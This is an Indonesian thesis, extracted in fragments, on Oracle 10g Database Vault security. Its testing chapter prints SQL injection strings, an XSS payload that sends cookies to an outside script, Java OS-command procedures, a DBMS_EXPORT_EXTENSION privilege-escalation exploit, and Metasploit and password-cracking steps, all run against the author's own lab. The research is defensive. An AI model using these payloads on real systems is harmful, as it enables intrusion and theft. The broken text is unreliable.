Oleh:
RETNO MAROETI
4150411-061
PENDAHULUAN
Keamanan basis data adalah mekanisme yang melindungi basis data dari
ancaman yang disengaja maupun tidak disengaja. Keamanan tidak hanya untuk
data pada basis data saja, kegagalan keamanan juga berakibat pada bagian lain
dari sistem yang pada akhirnya berakibat pada basis data. Sehingga keamanan
basis data juga merupakan keamanan pada hardware, software, orang dan data.
terhadap lingkungan dan produk yang telah stabil. Evolusi yang terjadi saat ini
melibatkan lingkungan kultural dan teknologi yang berubah secara global, dimana
Jenis penyalahgunaan basis data baik yang tidak disengaja maupun disengaja:
a. Tidak disengaja
1
2
komputer.
b. Disengaja
sebagai usaha untuk menciptakan operasi secure didalam lingkungan yang secure:
- Fisik
Komputer harus dibuat tak bisa diakses secara fisik dari pemakai yang
terjamin.
- Personel
- Prosedural
- Teknikal
Pencegahan gangguan keamanan dari luar pada basis data telah banyak
diterapkan dimulai dari penggunaan firewall, aplikasi anti spam e-mail, anti
Namun bagaimana dengan ancaman dari pihak dalam pada basis data,
kemungkinan adanya karyawan yang tak setia atau korup. Salah satu cara untuk
Membuat akses berdasarkan fungi kerja dengan, klasifikasi hari atau jam
control down ke level baris untuk menjalankan keamanan dan privasi data.
individual set
Dapat memperkecil kesalahan dalam audit atau audit yang yang sulit
Dan untuk lebih meningkatkan pengamanan dari basis data yang telah ada,
database 10g. Pengamanan untuk memproteksi aplikasi data dari akses DBA,
proteksi struktur database dari perubahan secara ilegal, akses kontrol secara
vault dapat dapat mendeteksi semua aktivitas pada basis data, memproteksi basis
data dari user yang tidak berhak dan memberikan laporan untuk proses audit perlu
database 10g itu sendiri dengan database vault dalam mekanisme keamanan basis
data. Apakah dengan integrasi antara oracle database 10g dengan database vault
dapat mendeteksi semua aktivitas pada basis data, memproteksi basis data dari
user yang tidak berhak dan memberikan laporan untuk proses audit.
5
Masalah yang akan dibatasi dalam penyusunan tugas akhir ini adalah
analisa dan implementasi keamanan basis data dengan database vault pada oracle
database 10g dengan menggunakan sistem operasi Red Hat Entreprise Linux 4
basis data, memproteksi basis data dari user yang tidak berhak dan
akhir ini.
1.5.2 Analisa
1.5.3 Konfigurasi
Konfigurasi database vault pada oracle database 10g dan cara up-
BAB I PENDAHULUAN
VAULT
BAB V PENUTUP
yang berisi kesimpulan dan saran yang didasarkan atas uraian pada
bab-bab sebelumnya
BAB II
LANDASAN TEORI
gambar.
a. Jogiyanto HM (2001,h8) :
Informasi adalah suatu data yang telah diolah menjadi bentuk yang
8
9
bentuk yang masih mentah (raw) yang masih belum mampu bercerita
dahulu.
Kualitas dari suatu informasi tergantung pada tiga hal pokok, yaitu :
a. Keakuratan
b. Ketepatan
c. Relevansi
menarik sebuah kesimpulan bahwa yang dimaksud dengan informasi itu sendiri
adalah “Kumpulan data yang harus diolah terlebih dahulu sehingga bermanfaat
Dalam beberapa literature basis data telah didefiniskan dengan cara yang
more application in an optimal fashion; the data are stored so that they are
independent of program with use the data; common and controlled approach its
use in adding new data and in modifying and retrieving existing data within the
database”
dalam suatu media, tanpa kerangkapan data (kalaupun ada kerangkapan data
tertentu, sehingga mudah untuk digunakan, atau ditampilkan kembali dan dapat
digunakan lebih dari program aplikasi secara optimal, data disimpan tanpa
informasi.
membuat index tabel dan modifikasi tabel. Hasil perintah dari DDL
adalah suatu set dari tabel-tabel yang disimpan dalam file khusus
dan TRUNCATE.
data tersebut.
REVOKE.
yang berbeda.
kelompok data.
e. Masalah Keamanan
operasi.
secara teknis maka ada file kunci yang mengaitkan kedua file
tersebut.
pada struktur file, setiap kali kita hendak melihat data cukup
j. Keakuratan (accuracy)
k. Ketersediaan (availability)
lokasi/cabang lainnya.
l. Kelengkapan (completeness)
mengakses bagian basis data tertentu dan ada para pengguna yang
basis data ini adalah menjaga batasan seperti di atas tetap terjaga
- Sistem Operasi
adanya akses yang tidak diinginkan dalam basis data. Jadi tingkat
- Jaringan
- Fisik
- Manusia
lainnya.
- Fisikal
dan lain-lain.
- Logikal
- Confidentiality
- Integrity
- Availability
- Non-Repudiation
- Standar pengamanan
perusahaan.
- Ancaman (threat )
berdasarkan kategori:
virus, pemerasan.
21
- Kerentanan (vulnerability)
para penyerang. Hal yang rentan dapat berupa servis pada server
- Resiko (risk)
- Kerugian (exposure )
membuat
Threats
Agents
mengeksploitasi
Ancaman
(threats) menjadi
Kerentanan
(vulnerability)
secara Resiko
langsung (risk)
berakibat pada
Aset
dapat merusak
Kerugian
(exposure)
menyebabkan
Tindakan
pertahanan
(safe guard) dapat diantisipasi oleh
- Autorisasi (authorization)
terhadap obyek.
mudah.
24
lokasi tertentu. Tapi hal ini bisa lebih stabil karena tidak ada
Model Bell-LaPadula
26
objek.
Model Biba
Model Clark-Wilson
Model Noninterference
Autentifikasi
tersebut.
- Tabel views
beberapa level:
ada.
data.
relasi-relasi baru.
TO <pemakai>
Contoh :
ALI,BUDI
FROM <pemakai>
Contoh:
ALI,BUDI
ALTERATION, RESOURCE
penyimpanan eksternal.
Isi Jurnal:
1. Record transaksi
abort, commit)
suatu kegagalan.
Jenis Pemulihan:
terbaru.
terjadinya kesalahan.
Teknik Pemulihan :
kegagalan tersebut.
skema error-correcting
harus di replikasi.
disk block.
kegagalan disk.
34
integritas adalah:
melakukannya.
Rotasi Tugas
objek:
attack.
Dictionary Attack
ketat.
Spoofing Attack
Trojan Horse
Denial of Service
Pencurian Identitas
Tunneling
approach) yaitu pertahanan keamanan tidak hanya dari pihak luar tapi juga
1. Authentikasi
tersimpan di database.
ke account OP$.
Contoh :
procedure.
Contoh :
Contoh :
keamanan.
packagename;
Virtual Private Database (VPD) atau row level security (RLS) atau
data dari beberapa objek database yaitu tabel dan view secara run-
atau view yang dituju. Ketika user secara langsung atau tidak
Column-Level Privacy
Customization
Shared Policies
biaya.
5. Auditing
- Statement Auditing
- Fine-Grained Auditing
- Audit Trails
(LDAP)
tersentralisasi.
8. Database Encryption
Pada oracle terdapat dua komponen penting yaitu database dan instance.
oleh dua atau lebih oracle instance sebagai bagian dari konfigurasi untuk
Oracle memiliki dua buah struktur yang merupakan bagian dari arsitektur
oracle, yaitu:
database file.
dan index.
2.7.1. Memory
server, yang dibagi dalam struktur memory yang disebut sebagai SGA
dibutuhkan lagi.
- Integrity constraints
Area pada memori yang berisi data untuk setiap proses yang terjadi
Terdiri dari:
atau code yang sedang dijalankan. Memori ini biasanya digunakan oleh
(garbage collector)
- Terjadi Checkpoin.t
- Setiap 3 detik.
commit.
52
yang lain.
- Menyediakan pengaturan yang lebih baik tentang siapa, kapan dan dimana
yang ilegal.
dan fleksibel.
53
database instance
APIs
Lable Security
perubahan struktur.
1. Faktor penugasan.
2. Autorisasi realm.
CONNECT
DROP TABLE
user), objek tertentu atau seluruhnya, berdasar pada kondisi rule set
Keuntungan realms :
yang sensitive.
DV_ACCTMGR, DV_REALM_OWNER,
DV_REALM_RESOURCE
rule.
berbagai kondisi.
application role-enabling
a. SQL Manipulation
Contoh :
PASSWORD = 'mypassword'
b. Code Injection
multi statemen sql untuk dieksekusi, PL/SQL dan Java dapat secara
injection.
Contoh:
Menjadi:
Contoh:
SELECT TRANSLATE('' ||
UTL_HTTP.REQUEST('http://192.168.1.1/') || '',
dual;
d. Buffer Overflow
pihak ketiga berakibat pada 22 juta kartu visa dan 14 juta kartu master
(CNN Money)
diakses oleh pihak-pihak yang tidak berhak (The Wall Street Journal)
- Telah terjadi pelanggaran pada call centre HSBC oleh pihak dalam,
menjadi sorotan. Hal ini tidak akan menjadi yang terakhir kali
(Security News)
merupakan hal yang sangat serius, kebutuhan yang ditetapkan oleh user adalah
64
65
dimana suatu database dapat terjaga dan terpantau dengan baik. Sistem keamanan
diaudit.
Berikut ini adalah fitur security database yang dimiliki Oracle 10g release 2
Penambahan view
Uniform Audit DBA_COMMON_AUDIT_TRAIL yang Database
Trail membuat standard dan fine-grained audit log Administrator
dalam satu view
Seperti terlihat pada tabel diatas untuk keamanan database pada oracle
10g telah memadai dengan banyaknya fitur-fitur baru untuk menjawab semua
pernyataan diatas, namun terdapat kerentanan karena super user privileges tetap
Control Association) yaitu pemisahan hak dan kewenangan adalah merupakan alat
67
pengendali dasar untuk mencegah dan mendeteksi error dan kesalahan dengan
merekam transaksi dan kewajiban menjaga aset ke pihak yang berbeda-beda, agar
tidak ada satu orang yang melakukan ketidakjujuran atau perusakan tanpa bisa
dideteksi.
data resource management. Dengan kata lain membatasi hak DBA dari super
privilege user yang memiliki semua akses ke data menjadi beberapa database role
agar tidak ada yang memiliki kekuasaan penuh atas data dan konfigurasi system
yang dimiliki oleh database user. Terlihat bahwa database administrator memiliki
kewenangan paling besar dan luas atas semua data pada database.
Tabel 3.3 Privilege yang berubah setelah instalasi database vault (lanjutan)
User or Role Privilege That Is Revoked
SCHEDULER_ADMIN role - CREATE ANY JOB
- CRATE EXTERNAL JOB
- EXECUTE ANY PROGRAM
- EXECUTE ANY CLASS
- MANAGE SCHEDULER
SYS user - ALTER USER
- DROP USER
SYSTEM user - ALTER USER
- CREATE USER
- DROP USER
meneruskan eksekusi.
nilai semua rule sets adalah true maka statement diijinkan untuk
proses selanjutnya.
dengan menggabungkan rules dan factor dan pengaturan akses data akan
dan realm yang membatasi privilege yang dimiliki oleh user. Terlihat jika
seorang user memiliki privilege GRANT untuk any privilege maka akan
mengakses data tertentu. Jika ada, maka selanjutnya akan dicek pada
command rule dan jika semua nilai rule set benar maka user diijinkan
melanjutkan proses.
Gambar 3.2 Alur realm dan command rules membatasi privileges user
satu buah server yang telah terinstalasi dengan database oracle 10g dan database
vault.
buah server yang telah terinstalasi dengan oracle 10g dan ditambah dengan
yang sensitive. Bagi user yang tidak memiliki hak atau akses maka akan langsung
diberikan pemberitahuan. Server ini akan diakses oleh dua user. User pertama
adalah seorang DBA dan user kedua adalah HR manager. Pada gambar, user
X
User HR
A. Spesifikasi Hardware
B. Spesifikasi Software
Langkah-langkah :
instalasi oracle.
glibc-2.3.4-2.13
glibc-common-2.3.4-2.13
gcc-3.4.4-2
gcc-c++-3.4.4-2
libstdc++-3.4.4-2
libstdc++-devel-3.4.4-2
libaio-0.3.103-3
binutils-2.15.92.0.2-15
73
make-3.80-5
compat-db-4.1.25-9
gnome-libs-1.4.1.2.90-44.1
pdksh-5.2.14-30.3
sysstat-5.0.5-1
# mkswap tmpswap
# swapon tmpswap
# df /tmp
setting shell limits, membuat user, group dan directory untuk oracle,
kernel.shmall = 2097152
kernel.shmmax = 2147483648
kernel.shmmni = 4096
fs.file-max = 65536
net.core.rmem_default = 262144
net.core.rmem_max = 262144
net.core.wmem_default = 262144
74
net.core.wmem_max = 262144
Edit /etc/pam.d/login
# mkdir -p /u01/app/oracle
oracle -d /u01/app/oracle
# Oracle Settings
ORACLE_HOME=$ORACLE_BASE/product/10.2.0/db_1; export
ORACLE_HOME
LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export
LD_LIBRARY_PATH
CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/
ulimit -p 16384
ulimit -n 65536
else
fi
fi
user atau untuk multi thread fungsi bagi banyak user. Instalasi secara
juga harus mengupgrade database. Login sebagai user oracle dan ketik
dbca, wizard pembuatan database akan muncul dan ikuti semua langkah
instalasinya.
nama instan dari oracle server dan harus unik), disarankan nama SID
oracle
$ isqlplusctl stop
sql>shutdown immediate
- Stop listener
$ lsnrctl stop
2. Instal database vault pada oracle home yang kita pilih lalu
https://maroeti:1158/dva
Contoh :
Name : HR Realm
access to HR data.
Status : Enabled
Lalu klik : Ok
Object Owner: HR
Object Type: %
Object Name: %
Grantee: HR [USER]
is Participant)
Klik Ok
79
2. API
begin
dvsys.dbms_macadm.CREATE_REALM(
end;
commit;
begin
dvsys.dbms_macadm.add_object_to_realm(
end;
commit;
begin
dvsys.dbms_macadm.ADD_AUTH_TO_REALM(
end;
commit;
80
database:
1. Database administrator
mengeksploitasi database.
release 2 dan database vault yang telah dijelaskan sebelumnya maka akan
1. Seorang DBA yang iseng ingin mencoba mengganti angka dari gaji
agar tidak bisa dilacak siapa yang telah melakukan akses ilegal.
pelaporan.
BAB IV
Seperti yang telah dijelaskan pada bab 3 bahwa salah satu keunggulan dari
2009
SQL> startup
Database mounted.
Database opened.
82
83
2 ;
Seperti terlihat diatas seorang DBA dapat mengakses data gaji pada tabel
2 ;
ERROR at line : 1
yang sebelumnya memiliki super privilege kini telah berubah privellege menjadi
user biasa dan tidak bisa mengakses data-data pada tabel yang dilindungi realm.
84
account manager sementara untuk memberi privilege pada user tertentu agar
1. Buka web browser dan ketik url yang telah diberikan sebelumnya untuk
koneksi ke isqlplus atau juga dapat melalui sqlplus yang berbasis text.
https://maroeti:5560/isqlplus
atau
null;
“insufficient privileges”
bisa merubah password database vault account manager walaupun dapat melihat
semua password database user yang terenkripsi. Namun hal ini juga bisa menjadi
kendala berikutnya karena baik melalui isqlplus dan sqlplus „/as sysdba‟ user
maka akan lebih mudah lagi untuk mencari tool program dekripsi password yang
86
banyak tersebar di internet. Namun karena keterbatasan waktu maka penulis tidak
tersebut.
dengan ditambahkannya fitur database vault pada database oracle 10g dapat
membatasi privilege DBA dan pembagian role sesuai dengan fungsi dari user.
Sehingga keamanan data lebih dapat terjamin dan sesuai dengan peraturan
Sarbanes-Oxley tentag integritas data. Akan tetapi database vault masih memiliki
digunakan para hacker untuk meretas web aplikasi. Pada web aplikasi seperti
mail.yahoo.com terdapat layar untuk memasukkan nama dan password. Pada saat
kita memasukkan nama dan password dibagian url akan terlihat username=‟ „ dan
password=‟ „, dibelakang dari isi username ditambahkan “or 1= 1--“ begitu juga
pada password. Umumnya sql injection yang umum diketahui adalah code
dengan sql injection, namun tidak melalui web aplikasi dan penggunaan oracle
sebagai back end database yang terlindungi oleh firewall dan aplikasi-aplikasi
intrusion detection system dikarenakan keterbatasan waktu dan keluar dari topik
permasalahan.
87
a. Code Injection
Dengan memasukkan statemen pada box user name dan password atau
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
„ or 1=func --
„ AND 1=func –
Untuk membuka halaman web pengatur database oracle maka pada kita
Pada kolom login, kita masukkan nama sembarang ditambah dengan kode-
kode injeksi diatas, begitu juga dengan kolom password. Kita masukkan
Error at line 1:
ORA-06512: at line 1
89
hasilnya jika injeksi pada web aplikasi dan oracle sebagai back end
database.
metode http get/http post. Cross site scripting dapat diartikan sebagai
script) sebagai bagian dari teks masukan melalui form yang tersedia.
ASCII Usage:
http://host/a.php?variable="><script>document.location='http://ww
w.cgisecurity.com/cgi-bin/cookie.cgi?
'%20+document.cookie</script>
Hex Usage:
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74
%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%
akan tampil jendela login seperti dibawah ini dan hanya dba_users
error.
https://maroeti/isqlplus?action=logon&username=dummy%22%3e%
3cscript%3ealert('CSS')%3c/script%3e\&password=dsfsd%3cscript
%3ealert('CSS')%3c/script%3e
Terbukti dari hasil gambar diatas, cross site scripting tidak berhasil
c. Java exploitation
Cara lain untuk dapat mengakses file sistem di oracle selain tanpa
utl_file package oracle. Dengan cara lain ini kita dapat menulis dan
juga untuk melengkapi akses sistem file dan perintah sistem operasi.
SQL>
import java.lang.*;
92
import java.io.*;
IOException
Runtime.getRuntime().exec(command);
IOException
System.out.println(text);
text = fr.readLine();
fr.close();
throws IOException
append */
fw.write(line);
fw.write("\n");
93
fw.close();
SQL>
language java
name 'oraexec.execCommand(java.lang.String)';
exec javareadfile('/path/to/file');
varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';
Procedure created.
language java
Procedure created.
94
/tmp/aaa');
/tmp/bbb');
SQL> !sh
sh-3.2$ ls -rtl /tmp/
-rw-r--r-- 1 oracle oinstall 46 Aug 9 06:20 mytest
-rw-r--r-- 1 oracle oinstall 1517 Aug 9 06:21 bbb
-rw-r--r-- 1 oracle oinstall 505 Aug 9 06:21 aaa
Folder oinstall adalah folder yang terbentuk pada saat instalasi awal
database.
d. Eksploitasi DBMS_EXPORT_EXTENTION
CREATE OR REPLACE
IS
SYS.odciindexinfo,P3
RETURN NUMBER;
END;
IS
SYS.odciindexinfo,P3
RETURN NUMBER
96
IS
pragma autonomous_transaction;
BEGIN
COMMIT;
RETURN(1);
END;
END;
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE';
TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.4.0';
GMFLAGS := 1;
v_Return :=
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
);
END;
Hal ini pun tampak pada laporan database vault untuk pelanggaran
exploitasi program membuat penulis juga ingin mencoba pada oracle 10g
oracle 10g yaitu SID dan listener. Seperti yang telah dijelaskan pada
pada sistem, SID bersifat unik sehingga bila memiliki lebih dari satu
99
client.
from /root/metasploit/data/wordlists/sid.txt...
mengetahui SID oracle dari database yang ada. Hal ini perlu
bisa hang.
telah diketahui.
Enumerasi SID
untuk merubahnya.
127.0.0.1:1521
[*] reading
(DESCRIPTION=(TMP=)(VSNNUM=169870336)(ERR=0))#\#TNSLSNR
10.2.0.4.0 - Production
- Production,,
#@
192.168.1.10
/root/metasploit/data/exploits/msf.sql
password unix.
- Single Mode
- Wordfile Mode
- Incremental Mode
root:maroeti:0:0:root:/root:/bin/bash
maroeti:maroeti:501:502::/home/maroeti:/bin/bash
Bentuk laporan pada database vault terbagi menjadi dua bagian yaitu:
vault dan audit, antara lain: command rule configuration issue, realm
realm dan terlihat jelas siapa yang melakukan, jam berapa dan apa
antara lain: akses objek oleh publik, siapa saja yang memiliki DBA
oleh non publik, eksekusi yang dilakukan oleh public pada SYS
Bila ada pemberian akses DBA pada user biasa maka laporannya
dapat terlihat pada accounts with DBA role report, sehingga kita
Terlihat pada gambar diatas bahwa user dengan nama scott memiliki
lanjut.
akses ke database.
.
BAB V
PENUTUP
5.1 Kesimpulan
berikut :
5.2 Saran
107
108
freeware tools yang harus diwaspadai adalah metasploit dan john the
ripper.
apakah dapat dijamin juga beberapa orang ini dapat dipercaya dan